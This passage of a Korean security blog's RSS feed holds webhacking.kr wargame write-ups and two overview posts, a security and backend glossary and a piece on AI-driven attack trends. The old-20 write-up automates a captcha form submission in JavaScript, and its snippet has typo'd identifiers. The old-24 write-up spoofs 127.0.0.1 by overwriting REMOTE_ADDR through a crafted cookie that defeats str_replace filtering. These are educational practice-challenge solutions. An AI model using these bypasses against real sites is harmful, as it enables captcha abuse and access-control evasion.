&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-04-03 오전 11.51.33.png&quot; data-origin-width=&quot;443&quot; data-origin-height=&quot;59&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ua2ob/btsM69uGm6H/4TAmkTxz0C4OGlKUL3A6mk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ua2ob/btsM69uGm6H/4TAmkTxz0C4OGlKUL3A6mk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ua2ob/btsM69uGm6H/4TAmkTxz0C4OGlKUL3A6mk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUa2ob%2FbtsM69uGm6H%2F4TAmkTxz0C4OGlKUL3A6mk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;443&quot; height=&quot;59&quot; data-filename=&quot;스크린샷 2025-04-03 오전 11.51.33.png&quot; data-origin-width=&quot;443&quot; data-origin-height=&quot;59&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;old-20을 처음 들어가면 캡쳐를 하라고 뜨는데&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-04-03 오전 11.52.08.png&quot; data-origin-width=&quot;398&quot; data-origin-height=&quot;120&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bj2j2D/btsM6Hemqv1/54gWYIjqylskv2zKAkHgwK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bj2j2D/btsM6Hemqv1/54gWYIjqylskv2zKAkHgwK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bj2j2D/btsM6Hemqv1/54gWYIjqylskv2zKAkHgwK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbj2j2D%2FbtsM6Hemqv1%2F54gWYIjqylskv2zKAkHgwK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;398&quot; height=&quot;120&quot; data-filename=&quot;스크린샷 2025-04-03 오전 11.52.08.png&quot; data-origin-width=&quot;398&quot; data-origin-height=&quot;120&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 capcha옆에 있는 글을 javascript로 값을 받아와서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;form에 값을 넣고 sumit()하는 방식을 생각해서 아래와 같은 코드가 나왔다.&lt;/p&gt;
&lt;pre id=&quot;code_1743648840684&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;lv5frm.id.value=&quot;user&quot;;
1v5frm.cmt.value=&quot;hello&quot;;
1v5frm.captcha.value=1v5frm.captcha_.value;
1v5frm. submit();&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 조금 멈칫 했던 부분은 실수로 .value를 사용하지 않아서 값이 넘어오지 않았었다..;;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>보안</category>
      <author>anys</author>
      <guid isPermaLink="true">https://anys34.tistory.com/12</guid>
      <comments>https://anys34.tistory.com/12#entry12comment</comments>
      <pubDate>Thu, 3 Apr 2025 11:49:46 +0900</pubDate>
    </item>
    <item>
      <title>웹해킹.kr | old-24</title>
      <link>https://anys34.tistory.com/11</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;old-24 풀이방법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제에 들어가면 &quot;client ip&quot;, &quot;agent&quot;, 그리고 &quot;Wrong IP!&quot;라는 메시지만 보인다. 겉으로는 뭔가 할 수 있는 게 없어 보여서, 바로 소스코드를 열어봤다.&lt;/p&gt;
&lt;hr data-end=&quot;289&quot; data-start=&quot;286&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-end=&quot;304&quot; data-start=&quot;291&quot; data-ke-size=&quot;size26&quot;&gt;  소스코드 핵심&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;php&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&lt;span data-state=&quot;closed&quot;&gt;복사&lt;/span&gt;&lt;span data-state=&quot;closed&quot;&gt;편집&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;extract&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;$_SERVER&lt;/span&gt;&lt;/span&gt;&lt;span&gt;); &lt;/span&gt;&lt;span&gt;&lt;span&gt;extract&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;$_COOKIE&lt;/span&gt;&lt;/span&gt;&lt;span&gt;); &lt;/span&gt;&lt;span&gt;&lt;span&gt;$ip&lt;/span&gt;&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&lt;span&gt;htmlspecialchars&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;$REMOTE_ADDR&lt;/span&gt;&lt;/span&gt;&lt;span&gt;); &lt;/span&gt;&lt;span&gt;&lt;span&gt;$ip&lt;/span&gt;&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&lt;span&gt;str_replace&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;..&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;.&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;$ip&lt;/span&gt;&lt;/span&gt;&lt;span&gt;); &lt;/span&gt;&lt;span&gt;&lt;span&gt;$ip&lt;/span&gt;&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&lt;span&gt;str_replace&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;12&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;$ip&lt;/span&gt;&lt;/span&gt;&lt;span&gt;); &lt;/span&gt;&lt;span&gt;&lt;span&gt;$ip&lt;/span&gt;&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&lt;span&gt;str_replace&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;7.&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;$ip&lt;/span&gt;&lt;/span&gt;&lt;span&gt;); &lt;/span&gt;&lt;span&gt;&lt;span&gt;$ip&lt;/span&gt;&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&lt;span&gt;str_replace&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;0.&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt;$ip&lt;/span&gt;&lt;/span&gt;&lt;span&gt;); &lt;/span&gt;&lt;span&gt;&lt;span&gt;if&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;$ip&lt;/span&gt;&lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;127.0.0.1&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;){ &lt;/span&gt;&lt;span&gt;&lt;span&gt;solve&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;24&lt;/span&gt;&lt;/span&gt;&lt;span&gt;); } &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;702&quot; data-start=&quot;561&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;617&quot; data-start=&quot;561&quot;&gt;extract($_COOKIE) &amp;rarr; 쿠키 값으로 $REMOTE_ADDR을 덮어쓸 수 있다.&lt;/li&gt;
&lt;li data-end=&quot;658&quot; data-start=&quot;618&quot;&gt;str_replace()를 통해 특정 숫자들이 제거되거나 바뀐다.&lt;/li&gt;
&lt;li data-end=&quot;702&quot; data-start=&quot;659&quot;&gt;최종적으로 $ip 값이 &quot;127.0.0.1&quot;이 되면 문제가 풀린다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;707&quot; data-start=&quot;704&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-end=&quot;719&quot; data-start=&quot;709&quot; data-ke-size=&quot;size26&quot;&gt;✅ 문제 풀이&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;900&quot; data-start=&quot;721&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;813&quot; data-start=&quot;721&quot;&gt;&lt;b&gt;쿠키 조작 확장 프로그램&lt;/b&gt;(예: EditThisCookie)을 사용해서&lt;br /&gt;REMOTE_ADDR = 112277..00..00..1 로 설정한다.&lt;/li&gt;
&lt;li data-end=&quot;865&quot; data-start=&quot;815&quot;&gt;위 문자열은 str_replace()에 의해 &quot;127.0.0.1&quot;로 변환된다.&lt;/li&gt;
&lt;li data-end=&quot;900&quot; data-start=&quot;867&quot;&gt;새로고침(F5)하면 정답 팝업이 뜨고 문제 해결 완료!&lt;/li&gt;
&lt;/ol&gt;</description>
      <category>보안</category>
      <author>anys</author>
      <guid isPermaLink="true">https://anys34.tistory.com/11</guid>
      <comments>https://anys34.tistory.com/11#entry11comment</comments>
      <pubDate>Thu, 27 Mar 2025 11:49:05 +0900</pubDate>
    </item>
    <item>
      <title>보안 및 백엔드 실무 관련 용어</title>
      <link>https://anys34.tistory.com/10</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;보안과 벡엔드 실무에서는 어떤 용어를 사용하는지 알아봅시다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-end=&quot;28&quot; data-start=&quot;0&quot; data-ke-size=&quot;size26&quot;&gt;  &lt;b&gt;보안(Security) 관련 용어&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;336&quot; data-start=&quot;29&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;75&quot; data-start=&quot;29&quot;&gt;&lt;b&gt;CVE&lt;/b&gt;: 공통 취약점 및 노출 목록 (예: CVE-2023-1234)&lt;/li&gt;
&lt;li data-end=&quot;114&quot; data-start=&quot;76&quot;&gt;&lt;b&gt;Zero-day&lt;/b&gt;: 공개 전 악용될 가능성이 있는 취약점&lt;/li&gt;
&lt;li data-end=&quot;147&quot; data-start=&quot;115&quot;&gt;&lt;b&gt;Exploit&lt;/b&gt;: 취약점을 악용하는 코드/기법&lt;/li&gt;
&lt;li data-end=&quot;187&quot; data-start=&quot;148&quot;&gt;&lt;b&gt;Buffer Overflow&lt;/b&gt;: 메모리 초과로 인한 취약점&lt;/li&gt;
&lt;li data-end=&quot;209&quot; data-start=&quot;188&quot;&gt;&lt;b&gt;RCE&lt;/b&gt;: 원격 코드 실행&lt;/li&gt;
&lt;li data-end=&quot;248&quot; data-start=&quot;210&quot;&gt;&lt;b&gt;Privilege Escalation&lt;/b&gt;: 권한 상승 공격&lt;/li&gt;
&lt;li data-end=&quot;287&quot; data-start=&quot;249&quot;&gt;&lt;b&gt;Heap Spraying&lt;/b&gt;: 힙 메모리에 악성 코드 주입&lt;/li&gt;
&lt;li data-end=&quot;313&quot; data-start=&quot;288&quot;&gt;&lt;b&gt;ASLR&lt;/b&gt;: 메모리 주소 무작위화&lt;/li&gt;
&lt;li data-end=&quot;336&quot; data-start=&quot;314&quot;&gt;&lt;b&gt;DEP&lt;/b&gt;: 데이터 실행 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;350&quot; data-start=&quot;338&quot; data-ke-size=&quot;size23&quot;&gt;  공격 기법&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;624&quot; data-start=&quot;351&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;371&quot; data-start=&quot;351&quot;&gt;&lt;b&gt;MITM&lt;/b&gt;: 중간자 공격&lt;/li&gt;
&lt;li data-end=&quot;401&quot; data-start=&quot;372&quot;&gt;&lt;b&gt;Phishing&lt;/b&gt;: 피싱(사용자 속이기)&lt;/li&gt;
&lt;li data-end=&quot;432&quot; data-start=&quot;402&quot;&gt;&lt;b&gt;Brute Force&lt;/b&gt;: 무차별 대입 공격&lt;/li&gt;
&lt;li data-end=&quot;468&quot; data-start=&quot;433&quot;&gt;&lt;b&gt;SQLi&lt;/b&gt;: SQL Injection (DB 조작)&lt;/li&gt;
&lt;li data-end=&quot;492&quot; data-start=&quot;469&quot;&gt;&lt;b&gt;XSS&lt;/b&gt;: 악성 스크립트 삽입&lt;/li&gt;
&lt;li data-end=&quot;554&quot; data-start=&quot;518&quot;&gt;&lt;b&gt;Race Condition&lt;/b&gt;: 실행 타이밍 조작 공격&lt;/li&gt;
&lt;li data-end=&quot;587&quot; data-start=&quot;555&quot;&gt;&lt;b&gt;DLL Injection&lt;/b&gt;: 악성 DLL 삽입&lt;/li&gt;
&lt;li data-end=&quot;624&quot; data-start=&quot;588&quot;&gt;&lt;b&gt;Syscall Hooking&lt;/b&gt;: 시스템 호출 가로채기&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;639&quot; data-start=&quot;626&quot; data-ke-size=&quot;size23&quot;&gt;  보안 솔루션&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;780&quot; data-start=&quot;640&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;665&quot; data-start=&quot;640&quot;&gt;&lt;b&gt;WAF&lt;/b&gt;: 웹 애플리케이션 방화벽&lt;/li&gt;
&lt;li data-end=&quot;691&quot; data-start=&quot;666&quot;&gt;&lt;b&gt;SIEM&lt;/b&gt;: 보안 로그 수집/분석&lt;/li&gt;
&lt;li data-end=&quot;723&quot; data-start=&quot;692&quot;&gt;&lt;b&gt;IDS/IPS&lt;/b&gt;: 침입 탐지 및 차단 시스템&lt;/li&gt;
&lt;li data-end=&quot;752&quot; data-start=&quot;724&quot;&gt;&lt;b&gt;Sandboxing&lt;/b&gt;: 악성 코드 격리&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;785&quot; data-start=&quot;782&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-end=&quot;816&quot; data-start=&quot;787&quot; data-ke-size=&quot;size26&quot;&gt; ️ &lt;b&gt;백엔드(Backend) 관련 용어&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-end=&quot;1213&quot; data-start=&quot;1200&quot; data-ke-size=&quot;size23&quot;&gt;  시스템 설계&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1511&quot; data-start=&quot;1214&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1318&quot; data-start=&quot;1278&quot;&gt;&lt;b&gt;CAP Theorem&lt;/b&gt;: 일관성, 가용성, 분산 허용성 이론&lt;/li&gt;
&lt;li data-end=&quot;1382&quot; data-start=&quot;1347&quot;&gt;&lt;b&gt;Circuit Breaker&lt;/b&gt;: 장애 감지 및 보호&lt;/li&gt;
&lt;li data-end=&quot;1431&quot; data-start=&quot;1383&quot;&gt;&lt;b&gt;Cache&lt;/b&gt;: 성능 최적화를 위한 저장소 (Redis, Memcached)&lt;/li&gt;
&lt;li data-end=&quot;1511&quot; data-start=&quot;1432&quot;&gt;&lt;b&gt;Scaling&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1511&quot; data-start=&quot;1451&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1479&quot; data-start=&quot;1451&quot;&gt;&lt;b&gt;Horizontal&lt;/b&gt;: 서버 추가 확장&lt;/li&gt;
&lt;li data-end=&quot;1511&quot; data-start=&quot;1482&quot;&gt;&lt;b&gt;Vertical&lt;/b&gt;: 서버 성능 업그레이드&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1527&quot; data-start=&quot;1513&quot; data-ke-size=&quot;size23&quot;&gt;  개발 &amp;amp; 배포&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1751&quot; data-start=&quot;1528&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1646&quot; data-start=&quot;1620&quot;&gt;&lt;b&gt;Terraform&lt;/b&gt;: 인프라 자동화&lt;/li&gt;
&lt;li data-end=&quot;1670&quot; data-start=&quot;1647&quot;&gt;&lt;b&gt;Ansible&lt;/b&gt;: 서버 자동화&lt;/li&gt;
&lt;li data-end=&quot;1751&quot; data-start=&quot;1712&quot;&gt;&lt;b&gt;Canary Release&lt;/b&gt;: 일부 사용자 대상 기능 배포&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;백엔드도 많이 찾아봤는데 많이 공부한 내용인지라 모르는 단어가 보안보다 적은 경향이 있었습니다&lt;/p&gt;</description>
      <category>보안</category>
      <author>anys</author>
      <guid isPermaLink="true">https://anys34.tistory.com/10</guid>
      <comments>https://anys34.tistory.com/10#entry10comment</comments>
      <pubDate>Wed, 12 Mar 2025 23:37:17 +0900</pubDate>
    </item>
    <item>
      <title>2025 보안 트렌드</title>
      <link>https://anys34.tistory.com/9</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;요즘 학교에서 보안을 공부하는 친구가 3명이나 있고 네트워크, 보안 수업을 듣게 되어 &quot;요즘 보안은 어떨까&quot;라는 생각을 하게 되어 글을 쓰게 되었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요즘 뜨고 있는 AI를 보안에서 어떻게 사용하고 있는지 알아가 보겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;AI를 활용한 해킹의 최신 동향&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;623&quot; data-start=&quot;189&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;330&quot; data-start=&quot;189&quot;&gt;&lt;b&gt;사회공학적 해킹의 고도화&lt;/b&gt;: &lt;span&gt;해커들은 AI를 활용하여 사람의 심리를 이용하는 사회공학적 해킹 기법을 더욱 정교하게 발전시키고 있습니다. 예를 들어, 북한 해커들은 AI를 이용해 가짜 신분증을 생성하거나, 피싱 공격의 정교화를 통해 보안 시스템을 우회하고 있습니다.&lt;/span&gt; ​&lt;/li&gt;
&lt;li data-end=&quot;472&quot; data-start=&quot;332&quot;&gt;&lt;b&gt;다국어 피싱 공격 증가&lt;/b&gt;: &lt;span&gt;AI를 활용하면 현지 문화와 언어에 맞춘 피싱 메시지를 자동으로 생성할 수 있습니다. 이를 통해 해커들은 영어, 히브리어, 한국어 등 여러 언어로 자연스럽고 정교한 피싱 이메일을 만들어 공격을 수행하고 있습니다.&lt;/span&gt; ​&lt;/li&gt;
&lt;li data-end=&quot;623&quot; data-start=&quot;474&quot;&gt;&lt;b&gt;딥페이크 기술을 이용한 사기&lt;/b&gt;: &lt;span&gt;AI 기반의 딥페이크 기술을 활용하여 가짜 영상을 제작하고 이를 통해 금융 사기나 허위 정보 유포 등의 범죄가 발생하고 있습니다. 이러한 기술은 국가 안보에도 영향을 미칠 수 있어 더욱 주의가 필요합니다.&lt;/span&gt; ​&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-end=&quot;652&quot; data-start=&quot;625&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;AI 기반 해킹에 대응하기 위한 보안 전략&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1101&quot; data-start=&quot;654&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;766&quot; data-start=&quot;654&quot;&gt;&lt;b&gt;보안 정책 수립 및 지속적인 개선&lt;/b&gt;: &lt;span&gt;AI 시스템의 중요도, 데이터 민감성, 예상되는 위협 수준 등을 고려하여 적절한 보안 목표를 설정하고, 이를 기반으로 보안 정책을 개발해야 합니다. 이러한 정책은 지속적으로 검토하고 업데이트하여 최신 위협에 효과적으로 대응할 수 있도록 해야 합니다.&lt;/span&gt;​&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li data-end=&quot;881&quot; data-start=&quot;768&quot;&gt;&lt;b&gt;신뢰할 수 있는 다운로드 경로 이용&lt;/b&gt;: &lt;span&gt;AI 모델과 데이터를 확보할 때는 공식 기관, 검증된 플랫폼, 기업의 공식 웹사이트 등을 통해 다운로드하고, 보안 소프트웨어를 이용해 파일을 검사하는 등 추가적인 안전 조치를 적용해야 합니다.&lt;/span&gt;​&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li data-end=&quot;990&quot; data-start=&quot;883&quot;&gt;&lt;b&gt;딥페이크 탐지 도구 활용&lt;/b&gt;: &lt;span&gt;딥페이크 피싱 영상이나 음성을 탐지하고 차단할 수 있는 전문 도구를 적극적으로 활용하며, 의심스러운 콘텐츠에 대해 신중하게 판단하는 보안 의식을 강화해야 합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li data-end=&quot;1101&quot; data-start=&quot;992&quot;&gt;&lt;b&gt;AI 기반 보안 솔루션 도입&lt;/b&gt;: &lt;span&gt;실시간 위협 탐지, 자동 대응, 이상 징후 분석 등 다양한 기능을 제공하는 AI 기반 보안 솔루션을 도입하여 기존 보안 시스템의 한계를 보완하고 보다 효과적인 보안 환경을 구축해야 합니다.&lt;/span&gt;​&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-end=&quot;1228&quot; data-start=&quot;1103&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;AI 기술의 발전은 사이버 보안 분야에 새로운 도전과제를 안겨주고 있습니다.&lt;/span&gt; &lt;span&gt;기업과 개인 모두 이러한 위협을 인지하고, 적극적인 보안 전략을 수립하여 안전한 디지털 환경을 유지해야 할 것입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;1228&quot; data-start=&quot;1103&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;1228&quot; data-start=&quot;1103&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;background-color: #e6f5ff; color: #0070d1; text-align: left;&quot; href=&quot;https://www.skshieldus.com/blog-security/security-trend-idx-46&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;skshieldus.com, &lt;a style=&quot;background-color: #e6f5ff; color: #0070d1; text-align: left;&quot; href=&quot;https://www.voakorea.com/a/7969946.html&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;Voakorea&lt;/span&gt;&lt;span&gt;+1&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;rfa.org&lt;/span&gt;&lt;span&gt;+1, &lt;a style=&quot;background-color: #e6f5ff; color: #0070d1; text-align: left;&quot; href=&quot;https://zdnet.co.kr/view/?no=20250219161056&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;zdnet.co.kr&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;</description>
      <category>보안</category>
      <author>anys</author>
      <guid isPermaLink="true">https://anys34.tistory.com/9</guid>
      <comments>https://anys34.tistory.com/9#entry9comment</comments>
      <pubDate>Wed, 12 Mar 2025 23:35:30 +0900</pubDate>
    </item>
  </channel>
</rss>